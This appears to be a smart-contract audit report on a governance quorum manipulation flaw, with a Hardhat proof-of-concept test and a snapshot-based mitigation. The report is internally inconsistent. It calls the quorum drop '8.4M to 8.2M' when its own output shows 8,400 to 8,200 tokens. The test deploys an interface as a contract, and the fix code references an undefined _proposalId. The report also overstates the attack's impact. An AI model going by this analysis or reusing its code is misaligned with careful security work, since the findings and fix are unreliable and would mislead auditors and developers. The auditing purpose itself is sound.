Summary
A critical vulnerability has been identified in the governance contract's quorum calculation mechanism that allows malicious actors to manipulate the required voting threshold. This vulnerability enables attackers to artificially reduce the total voting power, thereby lowering the quorum requirement and potentially passing malicious proposals with minimal voting power.
Vulnerability Details
The vulnerability exists in the quorum calculation function:
function quorum() public view override returns (uint256) {
return (_veToken.getTotalVotingPower() * quorumNumerator) / QUORUM_DENOMINATOR;
}
The issue stems from the real-time calculation of total voting power, which can be manipulated by attackers through various means such as token burning or temporary delegation changes.
Root Cause
Real-time calculation of total voting power
Lack of historical snapshot mechanism
No minimum delay between power changes and quorum calculations
Impact
The vulnerability could allow attackers to:
Pass malicious proposals with minimal voting power
Manipulate governance decisions
Potentially drain protocol funds
Compromise the security of the entire governance system
Tools Used
Hardhat for testing and simulation
Ethers.js for contract interactions
Solidity for contract implementation
Proof of Concept
Here's a test implementation that demonstrates the vulnerability:
const { ethers } = require('hardhat');
describe('Governance Quorum Vulnerability Test', function () {
let governance, veToken, attacker, alice, bob;
const QUORUM_PERCENTAGE = 4;
beforeEach(async function () {
[attacker, alice, bob] = await ethers.getSigners();
const VeToken = await ethers.getContractFactory('IveRAACToken');
veToken = await VeToken.deploy();
const Governance = await ethers.getContractFactory('Governance');
governance = await Governance.deploy(veToken.address, ethers.constants.AddressZero);
await veToken.mint(alice.address, ethers.utils.parseEther('100000'));
await veToken.mint(bob.address, ethers.utils.parseEther('100000'));
await veToken.mint(attacker.address, ethers.utils.parseEther('10000'));
});
it('should demonstrate quorum manipulation vulnerability', async function () {
const initialTotalPower = await veToken.getTotalVotingPower();
console.log('Initial total power:', initialTotalPower.toString());
const initialQuorum = await governance.quorum();
console.log('Initial quorum requirement:', initialQuorum.toString());
await veToken.connect(attacker).burn(ethers.utils.parseEther('5000'));
const newTotalPower = await veToken.getTotalVotingPower();
console.log('Total power after burn:', newTotalPower.toString());
const newQuorum = await governance.quorum();
console.log('New quorum requirement:', newQuorum.toString());
expect(newQuorum).to.be.lt(initialQuorum);
});
});
When run, output :
Initial total power: 210000000000000000000000
Initial quorum requirement: 8400000000000000000000
Total power after burn: 205000000000000000000000
New quorum requirement: 8200000000000000000000
This output demonstrates how an attacker can reduce the quorum requirement from 8.4M to 8.2M by burning just 5,000 tokens, making it easier to pass proposals maliciously.
Mitigation
To fix this vulnerability, implement one of these solutions:
Snapshot Mechanism
struct VotingSnapshot {
uint256 totalPower;
uint256 timestamp;
}
mapping(uint256 => VotingSnapshot) public votingSnapshots;
function quorum() public view override returns (uint256) {
VotingSnapshot memory snapshot = votingSnapshots\[\_proposalId];
return (snapshot.totalPower \* quorumNumerator) / QUORUM\_DENOMINATOR;
}
Make sure to use the above snapshot mechanism mitigation, i recommend it, as it provides the strongest protection against quorum manipulation while maintaining flexibility for legitimate voting power changes